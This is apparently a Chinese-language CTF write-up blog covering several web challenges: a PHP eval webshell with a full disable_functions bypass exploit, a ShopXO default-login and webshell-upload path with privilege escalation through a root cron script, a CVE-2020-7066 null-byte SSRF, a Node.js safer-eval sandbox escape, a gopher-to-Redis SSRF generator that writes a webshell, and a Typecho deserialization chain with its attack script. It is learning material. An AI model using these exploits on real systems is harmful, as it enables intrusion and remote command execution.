CheckIN
我们进去查看源码
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
这个源码读起来较简单些
我们实例化一个新对象之后就会自动的调用__construct()这个魔术方法
之后就是下面的代码
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
这个x()是返回一个$_REQUEST
对应到__construct()
code-> = @$_REQUEST[‘Ginkgo’]
然后就是对code进行base64_decode
base解码所以我们要对传入的字符串进行base64编码
我们先查看一下phpinfo()
我们看到phpinfo()禁用了很多函数
这里原本是想用反弹shell,但是没有成功
除了这个还可以直接传入
$_POST[cmd];
除了这个我们还想到了一个方法就是create_function
这个函数不太安全所有在php8已经移除
我们的php版本是7.3.18
可以利用此函数
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo $newfunc(2, M_E) . "\n";
?>
输出
ln(2) + ln(2.718281828459) = 1.6931471805599
对于这道题
我们想要的是命令执行
$func=create_function(' ',$_REQUEST['cmd']);$func();
JGZ1bmM9Y3JlYXRlX2Z1bmN0aW9uKCcgJywkX1JFUVVFU1RbJ2NtZCddKTskZnVuYygpOw==
通过蚁剑连接
我们进去可以看到flag是没有权限读取的
但是有个readflag这个要用readflag读取flag
利用脚本读取flag
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
我们传入poc发现根目录没有权限
我们去tmp目录
传入我们的poc
最后我们文件包含进行读取
include("/tmp/Test.php");
aW5jbHVkZSgiL3RtcC9UZXN0LnBocCIpOw==
总结
信息收集,打的时候没有看phpinfo。上来就直接system没有注意到
还有就是readflag读取flag这个以前没有遇到过
老八小超市儿
这个是个框架漏洞,接触的少只能跟着漏洞复现了
滑到最底部
是一个ShopXO的一个框架,直接搜一下有什么漏洞
我们可以进入后台管理系统
访问admin.php
使用默认的登入admin/shopxo
登入进去之后我们大概看一下
有一个上传应用的功能
这里我们可以传入木马我们去应用商店里面下载一个主题
在这个pc模板里面下载主题
下载之后解压
这个目录传入木马
将传入shell的主题传入
安装成功之后就可以用了
这里看主题的文件位置
我们通过蚁剑连接
根目录是假的flag
在root目录,但是我们没有权限读取root目录
看一下auto.sh
这个shell脚本会执行一个python文件,这个python脚本有执行root的权限
代码的作用是,打开/flag.hint文件,并写入时间,并且有root的执行权限,能每60秒刷新hint文件。
直接把root目录下的flag写到flag.hint中,增加两条语句s=open("/root/flag","r").read() f.write(s)
再次查看flag.hint就有flag了
总结
这个框架打点就是一个文件上传shell,但是我们要信息收集到位,登入后台管理系统
最后的一个flag的获取,就是考察linux的文件系统管理
cve版签到
看提示是一个cve
cve-2020-7066
网上搜
这个cve是一个php系统版本漏洞
首先我们先了解一下php的get_headers函数
get_headers是获取http请求中发送的服务器信息
get_headers() 是PHP系统级函数,他返回一个包含有服务器响应一个 HTTP 请求所发送的标头的数组。
如果失败则返回 FALSE 并发出一条 E_WARNING 级别的错误信息(可用来判断远程文件是否存在)。
<?php
$url = 'http://www.example.com';
print_r(get_headers($url));
print_r(get_headers($url, true));
?>
输出
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Sat, 29 May 2004 12:28:13 GMT
[2] => Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)
[3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
[4] => ETag: "3f80f-1b6-3e1cb03b"
[5] => Accept-Ranges: bytes
[6] => Content-Length: 438
[7] => Connection: close
[8] => Content-Type: text/html
)
Array
(
[0] => HTTP/1.1 200 OK
[Date] => Sat, 29 May 2004 12:28:14 GMT
[Server] => Apache/1.3.27 (Unix) (Red-Hat/Linux)
[Last-Modified] => Wed, 08 Jan 2003 23:11:55 GMT
[ETag] => "3f80f-1b6-3e1cb03b"
[Accept-Ranges] => bytes
[Content-Length] => 438
[Connection] => close
[Content-Type] => text/html
)
CVE-2020-7066
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()
’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
可以用%00进行截断
我们访问页面
说的是必须要以ctfhub.com结尾
我们访问CTFHub
是一个用get_headers函数获得http信息的一个数组
我们看到flag在本地
这个很明显就是ssrf
访问之后返回了原地
我们用%00截断来绕过
看到了提示说必须以123结尾
总结
学会了get_headers函数,其实这个就是%00截断
在tryhackme中打文件包含的时候用过
EZ三剑客-EzNode
根据题目我们知道了这是个nodejs的代码
我们进去之后可以看到源码
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
这个源码不是很难
先有一层就要访问到/eval这个目录
才能进行下面的操作
response = saferEval(req.body.e);
然后返回app.use
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
取最大的dely
我们可以用整数溢出来绕过
接下来就进入到/eval这个路径
传入参数e进行vm逃逸
vm逃逸本质上和python的沙箱逃逸都差不多
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
这个是它的post传参
让我们来解释一下这个payload
这段代码试图通过构造函数调用和子进程执行来读取系统中的文件。让我们逐步解析这段代码:
clearImmediate.constructor("return process;")()
:这部分代码利用了
clearImmediate
全局对象的构造函数属性。clearImmediate.constructor
返回的是一个函数构造器(即Function
构造函数)。然后,它调用了这个构造函数,传递了一个字符串
"return process;"
。这会创建并立即执行一个返回process
对象的函数。结果是得到了当前的
process
对象。
.mainModule.require("child_process")
:process.mainModule
返回的是Node.js应用程序的主模块(即入口文件)的模块对象。.require("child_process")
则是从主模块中引入child_process
模块,这是Node.js中的一个核心模块,用于创建子进程。
.execSync("cat /flag")
:使用
child_process
模块的execSync
方法,它执行一个同步的shell命令。在这里,它执行的是cat /flag
,这个命令用于读取并显示/flag
文件的内容。
.toString()
:将
execSync
返回的Buffer对象转换为字符串。
总结
这个是个简单的node.js代码,进行代码审计的时候要读懂关键代码
从利用点出发到最后一步一步实现
关键就是这个vm逃逸,简单的学习了一下
EZ三剑客-EzWeb
进去看了一下F12大法看见了个?secret
访问进去
看见了ip地址
看看前端是要给url想到了ssrf
我们用nmap进行端口扫描查看端口开放情况
开放了6379端口
常见端口:6379端口(redis)或3306端口(mysql)
ssrf常见的攻击方式可以用绝对路径写webshell,利用gopher协议打ssrf
对未授权的redis进行访问
import urllib
protocol="gopher://"
ip="10.244.80.134"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
直接生成payload
gopher://10.244.80.134:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
访问就行了
总结
还是对信息敏感一些exp网上可以找到
EZ三剑客-EzTypecho
题目有源码
是Typecho的cms
跟着复现一下
是一个反序列化的漏洞
一直复现不出来,不知道环境有问题还是什么
这个就是很简单的反序列化的链子
但是需要一点一点的找到链子
我们先进入install.php这个是页面的初始页面
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
这段代码的作用
这段代码的主要作用是在特定条件下终止脚本执行,具体场景可能包括:
安装过程:通常在安装过程的初期,可能不会设置
finish
参数,而一旦config.inc.php
文件存在,表示配置文件已经生成,如果会话中typecho
变量为空,表示用户还未登录或会话已过期,因此需要停止脚本执行,以防止未完成的安装步骤被跳过。安全检查:确保在
config.inc.php
存在的情况下,不允许未经授权的访问,特别是当会话中的typecho
变量为空时,表示用户未登录。
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
这个注释上写的挡掉可能的跨站请求
这道题有两种利用方式
第一种传入finish
用cookie传入序列化链子进行反序列化
先跟进get方法
key这个参数是我们可控的
key可以post传参或者cookie传参,如果不是则为default赋值给value
return 就是检查一下value的值是否为数组,不是返回vlaue的值
接下来我们看
这个new了一个新对象
这里可以触发它的构造方法
我们跟进一下
这构造方法里面的参数有个adaptName参数
这个有个字符串拼接
可以触发toString()方法
我们找一下toString方法
我们在var/Typecho/Feed.php找到了toString方法
我们看到这个有个if判断
就是判断它的类型
第一个if判断没有利用点
看第二个if判断
这个item的值我们可控
调用不存在的属性会触发get方法
我们找到get方法
我们最终在var/Typecho/Request.php找到了get方法
这个会返回get方法
我们跟进一下
检查这个key是否为数组和是否为空
然后调用_applyFilter()
这个方法
这个我们就可以利用call_user_func这个函数进行命令执行
这是最终的链子
//提供传参前提
Typecho_Cookie::get()
//命令执行链子
Typecho_Db::__construct() -> Typecho_Feed::toString() -> Typecho_Request::__get() -> Typecho_Request::get()
最终的链子
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items=array();
public function __construct(){
$this->_type=$this::RSS2;
$this->_items[]=array(
"autohr" => new Typecho_Request(),
"category" => array(new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct()
{
$this->_params['screenName'] = 'cat /flag';
$this->_filter[0] = 'system';
}
}
$a=new Typecho_Feed();
$b=array(
"adapter" => $a,
"prefix" => "typecho_"
);
echo base64_encode(serialize($b));
利用session.upload_progress
,可以将上传的文件信息保存在session中,从而实现构造session
import requests
url='http://node4.anna.nssctf.cn:28256/install.php?finish=1'
files={
"file":"123"
}
headers={
"Cookie":"__typecho_lang=zh_CN;PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dG9ociI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo0OiJscyAvIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX1zOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjQ6ImxzIC8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==",
"Referer":"http://node4.anna.nssctf.cn:28256/install.php"
}
req=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"})
print(req.text)
另一个利用点就是start
加一个Referer头就行了
总结
学到了很多,第一次代码审计大的框架
框架里面有很多没见过的代码风格
对于反序列化和序列化理解的更加深刻了
对于代码审计要细心,搞懂每一步代码是干什么的